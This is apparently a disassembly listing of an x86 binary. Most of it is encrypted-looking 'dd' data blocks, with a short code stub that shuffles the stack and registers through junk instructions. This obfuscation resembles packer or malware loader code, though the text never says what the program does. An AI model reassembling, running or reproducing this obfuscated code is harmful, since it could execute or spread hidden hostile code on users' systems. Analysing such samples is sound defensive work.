		dd 61203D5h, 0A890Fh, 8A600000h, 870FD9h, 61000000h, 0F860038Bh
		dd 3BD28166h, 0BFC61E8h, 34840FC0h, 0E9000000h,	0Dh, 1F0257C9h
		dd 0FDD9B978h, 0AB40C783h, 0F9008B18h, 44389F5h, 0EE960F8h
		dd 40000000h, 0FDC1532Dh, 0B12F07Bh, 0A51A6700h, 0C0ACBF14h
		dd 0B961207Ah, 234CF6h,	8E8h, 0F7F04600h, 1A0DE5B5h, 8E0FB3h
		dd 59000000h, 81F18B66h, 6625C1h, 8B665700h, 0BB5AD7h
		dd 0FF000000h, 7BE0B34h, 58020AE0h, 94C8F081h, 0BF0F26A7h
		dd 38F081F3h, 0F5CD3A9h, 1C8Ch,	7E800h,	8C50000h, 0E2B5E292h
		dd 0AE92Eh, 506C0000h, 0AEB0B8BFh, 0B035824Fh, 51F0815Fh
		dd 507CB9B0h, 48F5F51h,	80D38B19h, 0EB8126D6h, 2F138D35h
		dd 8D31C381h, 8B662F13h, 64FB81FBh, 0FFFFF9Ah, 0FFFF9A85h
		dd 0BF0F52FFh, 8D8D5AFFh, 618C9B7h, 81F0BF0Fh, 8A8042DAh
		dd 918D895Eh, 6A061227h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 5CF2C351h, 85C70EF9h
		dd 6123439h, 701Ch, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 0F6C35141h, 0F58D896Eh, 0B8061210h, 37C2B0C5h
		dd 2E5D85C7h, 612h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 5FA5E7C3h, 7BEB821Dh
		dd 0B5FF8996h, 61234D1h, 0EE9h,	0C85DDA00h, 0D6FE16C4h
		dd 14CAC07Eh, 0FFB81DCDh, 120AC995h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 8B2E8053h
		dd 120559B5h, 0FF006A06h, 12247595h, 0EBC08B06h, 9B349348h
		dd 48591C7Ah, 89465A91h, 7CB59C1Dh, 56CE859h, 0EAF16588h
		dd 0FB90901Fh, 5D3BB04Bh, 7F38F67Fh, 9CA68A7Bh,	348C24F4h
		dd 414EB7E2h, 1C35C661h, 0E3FF9922h, 76303233h,	0A2CB06F5h
		dd 6D4E6BCDh, 63B9C29Ah, 0A98D8D97h, 0F0618CAh,	181h, 0B866FC00h
		dd 8D890431h, 6122791h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 28C35343h, 6850FF4h, 29000000h, 1208559Dh
		dd 0E0CC8006h, 343985C7h, 69740612h, 800F0000h,	1, 0B1BD89F8h
		dd 0C7061235h, 122E5D85h, 6, 0D9BF0F00h, 469B589h, 0B5FF0612h
		dd 61205EDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	7CC35343h, 2CC78166h, 95FFF9BFh, 6120AC9h, 6AD8B70Fh
		dd 7595FF00h, 8B061224h, 0D30FEBC0h, 594E5F00h,	0C224027Ah
		dd 18DDD3h, 0CE8122Ah, 47000000h, 9367AF16h, 0DBD0BFF8h
		dd 29A76ABEh, 1226259Dh, 0BD895806h, 6120219h, 6E4CC081h
		dd 0DA800000h, 6817h, 60590000h, 68F0Fh, 9D8B0000h, 6121AB1h
		dd 152D858Bh, 8B610612h, 0BD29081Ch, 61213CDh, 1782F381h
		dd 0B5337B25h, 61233D9h, 0E39CEB81h, 8F0F1D0Dh,	10h, 0AE8h
		dd 73B01300h, 6B61CC66h, 5AF23982h, 0BD30C381h,	0F28B1E60h
		dd 29081C89h, 120605BDh, 4D958906h, 83061214h, 890F04E9h
		dd 2, 0F981D38Bh, 0FFFF928Ch, 33850Fh, 53600000h, 10E9h
		dd 1AEFE400h, 7F1C609Dh, 0C9F0B87Fh, 0BF15DF0Fh, 858B5F17h
		dd 61211B9h, 1DE961h, 0A00A0000h, 0D75A78EAh, 0F5FD432Bh
		dd 80F5A03Bh, 0FF69E970h, 0F005FFFFh, 0F768633Ch, 0E9846A1Dh
		dd 1Ah,	0A0399h, 5 dup(0)
		dd 0DDE90000h, 6800000Ah, 618CD3Bh, 0FA7BD9E9h,	0CE3A68FFh
		dd 0CFE90618h, 68FFFA7Bh, 618CFD1h, 0FA7BC5E9h,	0D0CA68FFh
		dd 0BBE90618h, 68FFFA7Bh, 618D23Fh, 0FA7BB1E9h,	0D3DC68FFh
		dd 0A7E90618h, 68FFFA7Bh, 618D52Ah, 0FA7B9DE9h,	3EC141FFh
		dd 0E7EA7CB3h, 0CE11179Ah, 0B13CCC63h, 9B68F94Ch, 23E05616h
		dd 0DD50DD22h, 893C814Eh, 0AF026F74h, 0D1EA579Ch, 24FA1405h
		dd 83D7E254h, 0C86A5725h, 1E25424h, 0EE5BD297h,	0EB5EA1A7h
		dd 0A9DC8956h, 6D7B4996h, 3B5892BCh, 6CD93FDCh,	0D55217DAh
		dd 0BD00CD5Eh, 18EAB975h, 4D677229h, 0EBF95FE2h, 155AA7BAh
		dd 6B76F633h, 0A8194CC4h, 4D67E901h, 0AE8DD4E2h, 224F132h
		dd 20684Eh, 4AD10000h, 68592B7Ah, 0E24D862Bh, 0A20D32A6h
		dd 0E24D858Ch, 8F0BEE71h, 4E023E9Eh, 0DBC5h, 0A7EEAA00h
		dd 30105FA4h, 0F0FD0E35h, 9865E44Fh, 7BADFBD7h,	0ED2E0AB1h
		dd 368E53D0h, 0F6FB0C33h, 9C61E249h, 76BE1E11h,	0B09EDC3Bh
		dd 3B766D81h, 89FC64DCh, 0B3641C2h, 0DC3B76E7h,	931E76E2h
		dd 0E4C60B1Ch, 1C23B0B1h, 138BDACEh, 0BB13F5DAh, 0FDC961CEh
		dd 3AE5D4B6h, 97E24DDAh, 0BA0ABC01h, 9A0B19EBh,	0ED15787h
		dd 0DA8F89B6h, 6289E513h, 9674ECE8h, 6CD11E2Fh,	0AA35377Eh
		dd 93C68385h, 1CE16092h, 0FC5497A9h, 9989D290h,	0D111E77h
		dd 8B6h, 84E9F472h, 6FD21D21h, 34B944D8h, 16C6FF1h, 0EB569BAAh
		dd 55D41781h, 818E2588h, 0A7BAF17Ch, 0CF50D75Ah, 0F09EBF02h
		dd 54262DC1h, 43FEA4E2h, 0C62BB849h, 0AE13E063h, 0EFF409BCh
		dd 37E2C040h, 0DC3B591Bh, 842722B6h, 592B7A4Ah,	4D862B68h
		dd 101FA6E2h, 0E5C46BC3h, 0E24D8645h, 0F89CAAB8h, 0AE47D1E7h
		dd 9C763FC6h, 861E45F3h, 41C1B0C3h, 4E02FCE4h, 955AEB5Ah
		dd 0CF4FD0h, 49300000h,	2F0629B6h, 3AED11Eh, 0DC3B5DB9h
		dd 51DC2122h, 0D64E49DAh, 0D9B3171Bh, 656AF92Ch, 4E67EDAh
		dd 3E418E91h, 0A8822F5Ah, 0E4E9785Ch, 22EFFD5Bh, 0DC3C4710h
		dd 0E5C75FB9h, 0F6180917h, 0D3DC3C46h, 6708D568h, 2DDC89E1h
		dd 0E24E7BF2h, 0AD754DFh, 49AA2965h, 0F94EC475h, 2A40961h
		dd 2011F3C2h, 0E8633AE3h, 2D986AEEh, 0C76AD71Ch, 4A979446h
		dd 87CB2325h, 7798D8A5h, 0B73A002Fh, 73000007h,	2E85E8F3h
		dd 0D96CD11Ch, 0FE35B843h, 0AB1E636Eh, 80E8559Ah, 8F54D516h
		dd 73808F22h, 59A6BB0Eh, 1CE51D4h, 0C6F39FBCh, 0E254272Ch
		dd 0EE40F1A5h, 1758A3A7h, 13431h, 283B8EF3h, 267456DBh
		dd 7D83B297h, 394BCD72h, 1449ECFh, 0A6A7EEAEh, 37321659h
		dd 4DF2FF00h, 159865E6h, 0D47E2B39h, 0FDDC3B58h, 8B8E0451h
		dd 9CF48323h, 5E65A1E9h, 0BB48D94Ch, 5E99CF4h, 4DDF0B14h
		dd 0EA7FC6E2h, 66FE5AE5h, 0CD152D9h, 0F4F90AA1h, 1E7644Bh
		dd 91C06994h, 203B2A2h,	2BB648FDh, 12590C04h, 0B7FECC11h
		dd 20629B6h, 0F3222847h, 0B1E4616Eh, 931E21AEh,	6994017Ch
		dd 0FFE7CAADh, 2FB2B6h,	0D1E4500h, 1B35F4Ah, 0BA1E6994h
		dd 0D768DF22h, 0A14A650Ah, 0E6699401h, 0AC7A56E4h, 0CE8B6D23h
		dd 753AC55Bh, 2C0F5613h, 0FA478C9Fh, 302B4B7h, 7FD7B1FEh
		dd 0A429386Dh, 7FC8BD9Bh, 0DAA8F737h, 0A5D1A4EFh, 8B612D6Fh
		dd 1B7AE22Ch, 3274F951h, 0D0C1A3F2h, 75B79C23h,	0AA052AAEh
		dd 75B79B85h, 9612E178h, 0E16C5895h, 368CCh, 16CAAD00h
		dd 23AEB2E3h, 1941041Ch, 35E4C6CDh, 0E24D5B6Eh,	0AF4FD05Bh
		dd 2B2D529Dh, 5CB4ACD3h, 2E4C22EDh, 78B4635Ch, 296E5B29h
		dd 0A0696E5Ch, 5B638FBAh, 0EA6E696Eh, 8945ED92h, 0A2CD1217h
		dd 6E7C4EA6h, 95DA2527h, 8B07B6B3h, 466F83DDh, 0C245F0D2h
		dd 6BDAB03Dh, 2B5E0BD8h, 0AF87CB18h, 35F07835h,	620247Ah
		dd 8A980000h, 0B3B7FA47h, 0DA6EC528h, 507AA17h,	313077FAh
		dd 0B92F41ACh, 9BE6EB7Ah, 67CA1714h, 4DB03DC0h,	159865E6h
		dd 0C36F5A08h, 0EE25427h, 40EE2948h, 0E75675F9h, 0A7EB9EFBh
		dd 5F4A5867h, 0E24E24C4h, 41E48B0Dh, 20E31BEh, 9EACB8BBh
		dd 8A77C156h, 184E3BD4h, 19E7C5CCh, 17529FACh, 5FC65BE4h
		dd 1F55E3E8h, 55E096CBh, 0C782AC9Dh, 0C94FE85Fh, 0AE333471h
		dd 0ADC28781h, 0E063C62Bh, 46D96C13h, 0ACBFF6B9h, 0ADAC5AEDh
		dd 0DF373A2Ah, 7B889D90h, 0A78A8D34h, 5C5F3A35h, 0A34F7A48h
		dd 2EE85F73h, 7788BFAAh, 3DF2C347h, 9594B601h, 0C042B83h
		dd 54D149B4h, 8F5414DDh, 241h, 2B7A4A70h, 24696859h, 0F060E254h
		dd 5DA2A312h, 66ACFAD0h, 441623B7h, 0FE0F3237h,	32404EF1h
		dd 96C7490Eh, 0B37AEFABh, 0E2540D9Ah, 91FD0205h, 7DA805AFh
		dd 272C723Dh, 83000005h, 0BEF57883h, 69DC21ACh,	0EA508D3h
		dd 3B8EF3FEh, 1058A52Ah, 1FE465A6h, 0C3101F92h,	0A936CB7Eh
		dd 915EE144h, 56430F2Ch, 0E25428BCh, 4A304115h,	7304067Ah
		dd 3B58AC46h, 5BB325DCh, 0B1B4E1C3h, 1628032Ch,	54ACA4CBh
		dd 0D5DCCD11h, 0FCE25424h, 2BF962AEh, 0CF274A16h, 757A8DA0h
		dd 5DA2A508h, 0FB081B12h, 5D5C3BB4h, 2D905DEEh,	84778B5h
		dd 18FE34Eh, 494C0000h,	2F0629B6h, 0C46AD71Ch, 0EC063308h
		dd 0E5DC3B58h, 18091B73h, 0E24D6763h, 4945EA6Eh, 0F8874ADCh
		dd 0D129B6B5h, 590CD154h, 4D677896h, 1CDF63E2h,	0B845D853h
		dd 383B9EF7h, 67D17D2Ch, 98F8E24Dh, 0E9F78300h,	4D681638h
		dd 2025B3E2h, 45E66251h, 0BC4E0224h, 55h, 82E9002Eh, 85F3EEC6h
		dd 7A4A69C0h, 0BBC40906h, 0BA6745DDh, 0E24D85FDh, 8E53D441h
		dd 36BB4AE1h, 42D6ABDEh, 8E303560h, 501F777Ah, 0DEC3253Ah
		dd 92EA3C8Bh, 0B7575AD7h, 20E24D96h, 9893DC21h,	59377885h
		dd 3C6FF1C0h, 0C95AD6A5h, 304E024Fh, 9Ch, 29B649F9h, 0D11E2F06h
		dd 7F8487AEh, 0C8EA7D30h, 7498AA37h, 48A1AD84h,	0C17456AEh
		dd 0BDC8BD42h, 3B7A2AF2h, 4D9295DCh, 1A7E4EE0h,	9E6CC409h
		dd 5026D293h, 0B3B4FFE2h, 0AF07012Eh, 14D968DDh, 0FE0302A9h
		dd 0ABECB892h, 277B347Dh, 3B2h,	88F5F876h, 53DE2125h, 388548DCh
		dd 56873F5h, 0EF529FAEh, 59E82B9Dh, 85822994h, 0ABBEF578h
		dd 0D354DB26h, 0CC9AA30Eh, 542B31DDh, 0BFFA98E2h, 9A7540EEh
		dd 449415DAh, 6CB5A01h,	24F374BBh, 94A04ADh, 24A7BD2Fh
		dd 560974CCh, 629B649h,	0F5D71C2Fh, 59183AE7h, 27B1DC3Bh
		dd 0DE474722h, 0F0A1834Eh, 0DC3B585Eh, 3678ED6Bh, 0ECDDAFF6h
		dd 0E24D80A3h, 2A85AA2Eh, 0E24D8106h, 0DC6ED73Bh, 2E0D5411h
		dd 91734282h, 5FA7EFA0h, 0F37EDAE8h, 29B64948h,	0C1D8806h
		dd 4CDF82C7h, 38F43A87h, 0F1AE9B69h, 0D8E24D66h, 672BC7F2h
		dd 32A6E24Dh, 0F41A95DAh, 0E9E24D66h, 627A396h,	7D4E0224h
		dd 42h,	8540EEC2h, 0CCBB2AFEh, 5393C782h, 0AFDBDE61h, 0FCF01235h
		dd 2D3F97EFh, 4DFD377Ch, 65CC92E2h, 0F90605FAh,	12F38ABh
		dd 32B86A9h, 0FAE24DD5h, 5BA8B9ECh, 0E464572Eh,	4E028D47h
		dd 0D1B2h, 0B6497F00h, 1E2F0629h, 8487AED1h, 0EA7D307Fh
		dd 0E4B298E5h, 55E4F393h, 3EC14599h, 0CABF1771h, 3BAAB903h
		dd 0DC2122DCh, 3AC547CEh, 1B561375h, 7C4E9394h,	0AA8FA36Eh
		dd 0DE3ADC3Bh, 5B01EABh, 0C189FCFFh, 9EACBE05h,	20221209h
		dd 0C20F1274h, 643DBBDh, 352AC5F4h, 0BBA7E24Eh,	4E34648Eh
		dd 93EB6DE2h, 476E3C2Eh, 0E1A44442h, 8C48AFFh, 0E77AABB9h
		dd 0B19F6F1Ah
		dd 0B1FE0304h, 146B92D7h, 0BDE862A7h, 4DDC495Bh, 77F63D80h
		dd 6D2EE66Ah, 0F9B67799h, 215A5h, 4A959500h, 33BE40E7h
		dd 1AE57BCEh, 0CD101097h, 0B73CCD60h, 77B4224Ah, 2184E9F6h
		dd 0DD50DD22h, 0F336BB48h, 3D1E6370h, 2BCE6051h, 5FFBE254h
		dd 2BB84922h, 13E063C6h, 7A4AEFAEh, 585EF0A1h, 0C359DC3Bh
		dd 0EC59BF38h, 68E8975Ah, 56243210h, 3B58C76Bh,	0A25C02DCh
		dd 4ABC07BEh, 4188FD55h, 0E24E1712h, 656AFB2Ah,	16789A87h
		dd 0C751E24Eh, 30E1ED82h, 0E24E171Eh, 525F2DABh, 0E24E16C0h
		dd 55378F09h, 9CA3BD07h, 0F376748Bh, 2B0A58B6h,	0A5497868h
		dd 2CE24E54h, 0C6F596B4h, 98B679ECh, 3E24DB0h, 0F8B3FCFFh
		dd 182C9964h, 0E47FAAD5h, 0C1188B15h, 0B1B3E2F2h, 10771C2Eh
		dd 0FD127A50h, 6C35F688h, 0DAAC4E02h, 0D000000h, 629B649h
		dd 0AED11E2Fh, 3B5DB903h, 0F12122DCh, 46C26D72h, 5D99B564h
		dd 0A030DC3Bh, 0BD4EE548h, 0E7270F30h, 34DFCAD8h, 9DE24D90h
		dd 8F6E80B1h, 775BE24Dh, 4D8FA84Ah, 5FB721E2h, 1657E5C7h
		dd 0FDB88553h, 8EE6EB78h, 0A3618DBCh, 0E868E24Dh, 6CB80E7Dh
		dd 0A65A4725h, 23E86250h, 0D8C9D7B5h, 0E8625136h, 0D5182893h
		dd 0B3E2087Dh, 0F1FC00B2h, 0F72CA4Eh, 3824A9B8h, 7799C2E6h
		dd 0C7E1BD8Ah, 63000000h, 1E9518E3h, 0C97CC10Ch, 0EE45A833h
		dd 9B2E935Eh, 70F8458Ah, 0BF44C506h, 6370FF32h,	4996AB1Eh
		dd 31BE41E4h, 36E3EFCCh, 0E2542E1Ch, 4950E1B5h,	0EC592BB8h
		dd 0A1ED925Fh, 3B143379h, 2B5EB67Eh, 0A456E95Ch, 55E95CA1h
		dd 0DFCF328Ah, 8FBFC0B1h, 0E366739Dh, 29B64948h, 0D71C2F06h
		dd 0A3D2606Ah, 0DB0410CAh, 10DC82C7h, 6E3FD34Bh, 0B30B05CCh
		dd 4EEDE0D1h, 7CE4E254h, 1AE77833h, 0C20F1097h,	236D72BDh
		dd 0D256E867h, 38CD600Fh, 9CA184ABh, 8B6EF757h,	5E5D8411h
		dd 3C814ED1h, 0C6697689h, 6D12DD6Fh, 28979AE3h,	4DF8CA17h
		dd 363530BBh, 0BC4E70F3h, 9F0A0E31h, 593F408Bh,	3E0BEC1h
		dd 0A1000000h, 0B949F148h, 21220936h, 859893DCh, 0EF7C3778h
		dd 57D65DE2h, 0BF4EE58Ah, 26260D32h, 8B9194DBh,	0F2743F40h
		dd 563940EFh, 0C681E689h, 4, 8704EE83h,	895C2434h
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	27D8h
		mov	[esp], ebx
		push	esi
		push	1A135DADh
		pop	esi
		add	esi, 0EC056E5Bh
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	ecx
		push	eax
		mov	eax, 8
		mov	ecx, eax
		pop	eax
		add	ecx, ebx
		mov	[ecx], eax
		pop	ecx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55CE7E
; ---------------------------------------------------------------------------
		dd 4EE076F5h, 18D616B8h, 0FFC50306h, 4EE9A7E0h,	0DF6DA357h
		dd 0E140026Ch, 288C735Ch, 6B8A3810h, 3B3526Eh, 7D846B17h
		dd 0A4FF650Ah, 0BDBAF262h, 8137F818h, 0D6654469h, 5C11946Dh
		dd 6E146163h, 0CD9F2326h, 1364A64Ah, 8EB0DB0Ch,	734EA412h
		dd 6591340Bh, 0BD2F7A06h, 0FCB8DF6Dh, 89A0D646h, 0BE966D0Fh
		dd 0D792F22Ch, 4FBF7064h, 30E947h, 84470000h, 66D3h, 0Ah dup(0)
		dd 17E90000h, 2F000005h, 63CE2BD9h, 0B21DFAA0h,	0C02FC874h
		dd 127D9A3Eh, 0F5886915h, 0F19D6AD1h, 0C167B910h, 9234C920h
		dd 630B1A75h, 0C8201D86h, 0E25509h, 6D568BA7h, 0F9EEA94h
		dd 42AD4AF8h, 0FC6D1BC3h, 9E0F7D25h, 293E185h, 849D8DE5h
		dd 0C3003DDAh, 0BC24CC54h, 6FA823Dh, 0F51BA09Bh, 6FA8204h
		dd 0F5ADBA2h, 58B750F2h, 0F65725C5h, 0DB35862Eh, 403F5685h
		dd 1458DDDBh, 8878D21Bh, 0D534D575h, 8ED6A24Ch,	6FA224Ah
		dd 1FC0205Bh, 9220D7B7h, 331F48CDh, 0DC50CB25h,	6211C7F0h
		dd 0D3BE2EE1h, 7DD3D0F7h, 76000000h, 9EEA946Dh,	0FA8201F6h
		dd 0C7A31406h, 0F78BF1F3h, 19ED0h, 6D3B0000h, 58CAF192h
		dd 0CEC6337Ah, 0EB762553h, 91F07517h, 0D9CE88Eh, 0DE1F71F1h
		dd 7806FA0Fh, 2A358605h, 0C8B431DDh, 6A16C041h,	0A7624E3h
		dd 6B83EF58h, 551D7B38h, 0F5AF1F64h, 5899EF4Ch,	0F606FA02h
		dd 0ED450E87h, 0A33CE23Dh, 0CD6FB39Eh, 1D8CDFBFh, 7532D634h
		dd 13127DF6h, 97F18E6Bh, 0B197DEDDh, 82E55E67h,	0F904966Dh
		dd 0ED4E2B59h, 0FA825A9Bh, 0A89F406h, 6E14EF7Eh, 0CE7C8B02h
		dd 32D82BA2h, 963CC746h, 0BCD0BACFh, 0DB472364h, 0EE419E4Ch
		dd 88016F17h, 2BA2CE7Ah, 0FBFA0EDAh, 5506FA82h,	8C1D6BE6h
		dd 0F3A1CF73h, 0F1DFDAB0h, 47D59335h, 0DF800782h, 0DABD1F73h
		dd 89F2D0F7h, 97000000h, 9CE8966Dh, 0F24BF50Dh,	51ACA196h
		dd 41C27625h, 0BEA9EA3Bh, 0B7B2BE66h, 3F1D753Eh, 3DC1CD50h
		dd 499F1C9Bh, 6FA8388h,	0B3DE5726h, 30DC2A74h, 8374658Bh
		dd 6BD206FAh, 67BC13ECh, 838ECDBBh, 0D5CD983h, 0DC3471F1h
		dd 6FA831Dh, 0A150C0BBh, 3F06FA83h, 0BEB3C13Ch,	0CFC9A189h
		dd 0A0D0F788h, 40h, 0CF738C9Bh,	284FC4A1h, 9CE8966Dh, 224EF00Dh
		dd 5533F68h, 0B37D0C1Ah, 7C487DE1h, 92FD76F5h, 0A908E995h
		dd 80EC926Dh, 0FA8204F0h, 0C8A21506h, 0F78BF0F0h, 699D0h
		dd 77E20000h, 0EA8D06ACh, 7956Dh, 44C363BEh, 0B2BE3D38h
		dd 5420CA5Bh, 0C838125Bh, 0F8A4623Ah, 9572F18Ch, 0B92D88E8h
		dd 0FFCB45D5h, 0F4C84E28h, 0AF24A3FBh, 2398FCC2h, 0E8582DCDh
		dd 44DE090Ch, 1A99D4A0h, 0E1222D6Eh, 58A9B83Dh,	0CC24C242h
		dd 0E8690Dh, 2755D0ABh,	0E36ECF4Ah, 0E0F97A20h,	0EDD37889h
		dd 0FB9B668Eh, 8668F08Dh, 0CAB635F4h, 0E8FF3DBAh, 553D6600h
		dd 45A24CD5h, 5731BEAh,	0A7D57D84h, 0F90F4CEFh,	0E8FFF8h
		dd 256EE756h, 9A44DD4Dh, 0F64ABA7Dh, 6FFAD6E5h,	1A74F193h
		dd 116h, 0ED4F6FBFh, 0A7A43850h, 8BF20CE8h, 1956CFDh, 3DC5BFDh
		dd 0DFAD55ACh, 610FB74Eh, 1C0C6621h, 85BC5D05h,	0D6E5A00Bh
		dd 0AE56AEB9h, 3DC4A7C2h, 427E1095h, 1B000000h,	0EFEE02BFh
		dd 4906FA82h, 0CD1471F2h, 0B549D865h, 8B086513h, 0D3BBDA2Eh
		dd 0A69534BDh, 824B8ADAh, 3B0C86FAh, 0A610D14Fh, 0BDFD0A15h
		dd 0B4B1BF61h, 0E97FBC39h, 0B4BDD348h, 683AD7A6h, 9Eh
		dd 0EE02BFE9h, 6FA82EFh, 1471F249h, 0B3D566CAh,	0CE87653h
		dd 6025FC6Bh, 161B736Bh, 4834B34Fh, 19C5422Dh, 8F90FF9Ch
		dd 89006CEBh, 0DE31CE78h, 0AAD19F47h, 0CFBD67BFh, 85AF31B2h
		dd 0BF00E8D8h, 58B1BF65h, 0C3521ECAh, 1AB0CCA6h, 40C14129h
		dd 0CA147996h, 8998D566h, 3CE43C76h, 0CAB63530h, 0A141DCAFh
		dd 0F7C4BC24h, 0AB920AF0h, 74B39EDDh, 46BFBAC6h, 0FA0EDA2Bh
		dd 0AD1B0FBh, 0C76E655h, 9B70A690h, 0DBD4A01Fh,	8F9AB892h
		dd 0C4A1CF75h, 389C224Fh, 88956D83h, 7AC100C9h,	4F6F3A9Dh
		dd 0DF5AFC01h, 0AC320A5Eh, 211C0CE2h, 0E4392853h, 0BA3B3642h
		dd 0FAC56AFh, 2A560200h, 3BE73C4Fh, 5AB3304Dh, 0F8842EF7h
		dd 0A9EDBC68h, 9BF73021h, 13EC966Fh, 21F0126Eh,	0B5271682h
		dd 26D05130h, 0EB36215Ah, 5F9EF24Bh, 0F9601EEEh, 9C660182h
		dd 7AB38CF8h, 84A6C210h, 94953E52h, 0DFAD55ACh,	0C3AE27A2h
		dd 107F9842h, 0D1B6911h, 15h, 0E62398D4h, 0FA825382h, 2D8EED06h
		dd 0FA821ADBh, 4CC9B406h, 0E9976D35h, 4BF3329Bh, 0B151AC3Dh
		dd 12BA4AC3h, 7220E766h, 0D2808706h, 39DB27A6h,	9844C24Bh
		dd 0FCA27DECh, 9A682D70h, 89000001h, 0BD552424h, 4, 4246C01h
		dd 0E089505Dh, 405h, 42D00h, 4870000h, 0C895C24h, 0E0895024h
		dd 405h, 4E88300h, 5C240487h, 68243C89h, 331Eh,	68243C89h
		dd 1A442C03h, 0CF81475Fh, 51062C1Bh, 8103EFC1h,	7012C1F7h
		dd 5FF9890Dh, 243C8B54h, 5304C483h, 8BE56h, 0F3890000h
		dd 89FB015Eh, 3C8B5B0Bh, 0E6895624h, 4C681h, 0C6810000h
		dd 4, 5C243487h, 592434FFh, 0E904C483h,	0FFF9A420h, 0CB738309h
		dd 0C1B8F699h, 30618DBh, 7DE0FFC5h, 2434842Ah, 0F72DBCB4h
		dd 0B926B4D2h, 4E723F07h, 1354D08Ah, 0C31D1D70h, 9A3C3A51h
		dd 384F4938h, 1359ABFFh, 53296F2h, 351BD397h, 194DB51Dh
		dd 0E947EEA1h, 12h, 7EACF84Dh, 3 dup(0)
		dd 0ACE90000h, 0DF000005h, 137E9B49h, 228D6A10h, 70DF38E4h
		dd 82ED0AAEh, 538D985h,	610D1A41h, 31D72980h, 2A479D0h
		dd 0D37B8AE5h, 58B0ED36h, 0E25E99h, 6DC61B37h, 3DBCD494h
		dd 0A906FA82h, 0A9C4B056h, 7E0A89F4h, 808618EFh, 9CD0A8D4h
		dd 9EAD56E0h, 815EDD58h, 6821BFFCh, 66FF186Dh, 0ACCB0A9Ah
		dd 166506FAh, 6733F29Dh, 0E7AF99Bh, 90DC869Fh, 54ACE639h
		dd 9D43DDACh, 72B29D1Eh, 0BD38DC26h, 44ED3438h,	3480E0EEh
		dd 0F2FCCEAAh, 0B64F1A9Bh, 819CF30Ch, 54A900E1h, 0A3F221AFh
		dd 9817C57Ah, 79EB3423h, 0FACCE617h, 7EFD4006h,	0A2C677F2h
		dd 6FACC33h, 4735AE8Dh,	0A97A3EC6h, 0F5996A05h,	16FEA87h
		dd 5785ED26h, 0E18F3BC8h, 9D600F84h, 748D1CFDh,	40FDBECAh
		dd 0EEBB5420h, 9D07C358h, 6FA8E5Ch, 9E0283FAh, 6FA8E5Ah
		dd 1A6EC44Bh, 0D0F787AAh, 70C7h, 946D6200h, 2C58FC06h
		dd 0DEA6D251h, 6FA8219h, 0DBAF9B0Ch, 0D0F78BE9h, 186h
		dd 926D2300h, 0B8314FECh, 0C167B912h, 3BD59E5Fh, 0C85BB2BAh
		dd 0F9135CEh, 2D94A4ECh, 2F5DD827h, 0B4C064BEh,	5A26C855h
		dd 5DB32FF3h, 6FA6C9Ch,	0B8C4433Ah, 6C6C6D83h, 73CA06FAh
		dd 0F20A60C3h, 2E2C06A3h, 0D30B23D2h, 77EC9F3Fh, 86630718h
		dd 0D730DA2Bh, 1702BF70h, 0FFFE660Ch, 5906FA82h, 10661E2h
		dd 0A879E855h, 0AA2BBDFEh, 406FA82h, 59B0BC39h,	0F55420C6h
		dd 95F4802Eh, 9F98E48Ah, 40E0FC56h, 0AB94D533h,	46BBAB2Ch
		dd 72AE84CDh, 53E809B5h, 10953DC4h, 17EAB071h, 1D8CF877h
		dd 582D5B05h, 75673B17h, 3AD0F74Dh, 79h, 4ED0BFDFh, 22A3DEAAh
		dd 6612C047h, 7751FE7h,	9192FDBEh, 0D9540201h, 1C55CEABh
		dd 913DCA36h, 5C0A1970h, 351E81DFh, 6312AED6h, 0FA19CC0Dh
		dd 94136A06h, 22FC6D1Fh, 0CA7FF27Eh, 12880860h,	2D3CD0F7h
		dd 235E2AD4h, 19B357B9h, 0F471CBD4h, 549Ah, 966D3F00h
		dd 2957FB04h, 2AA3D14Ch, 9B8637D7h, 1963E08Ah, 0BE6AC073h
		dd 0E000BD69h, 44133A63h, 9B74F12Ah, 50D0BF3Ch,	1CA1DCA8h
		dd 0FA8205F4h, 5BD8A306h, 0EE4FF30Ch, 829E5FB1h, 453806FAh
		dd 20D4BCC0h, 3106FA82h, 0DCCCA48Eh, 0ADD0F78Bh, 1, 0EB956D54h
		dd 993BC752h, 0FBA362EBh, 0F075F08Dh, 5A041D8Ch, 8AC76E1h
		dd 6C12ED7Ch, 810874F1h, 22ABD97Fh, 724D3BE3h, 0FC3D5139h
		dd 0E323DF4Bh, 6B73D839h, 0BC5CB409h, 9A0CE89Bh, 0F40F1AA3h
		dd 0CE47224Eh, 2CD62FBEh, 0BF3E528Fh, 1900E8A5h, 3348A122h
		dd 0A56392F6h, 7EFD00E8h, 0F39B6A05h, 0A5FAFD85h, 986E00E8h
		dd 0A53FBED2h, 0A29900E8h, 33F05927h, 1FA8F987h, 80B31B33h
		dd 196FACAAh, 0E8A5D8h,	0E38E0776h, 309F7822h, 16BC54F1h
		dd 0D2A43776h, 0AC7BE657h, 96F785FEh, 0F999E78Fh, 0DD24E44Eh
		dd 0B8A7D435h, 0B7B2BE6Ah, 2409FB3Eh, 8866D6E5h, 3000001h
		dd 50ED4F6Fh, 0B2843FC1h, 3AC44CABh, 0ED88F473h, 29A5CB68h
		dd 6D0CE8E2h, 753AD0Eh,	0D62BB941h, 0C472B1D8h,	137E3D4Fh
		dd 65006C0Eh, 0D941B0D8h, 9C9F00E8h, 0FDB94827h, 9BF27E20h
		dd 0D792DE8Ch, 0AD3CDD58h, 0D411AA54h, 0E8D93DBCh, 1BA09B00h
		dd 0E8D904F5h, 5ADBA200h, 29FE6912h, 0F1720F7Dh, 56E78F96h
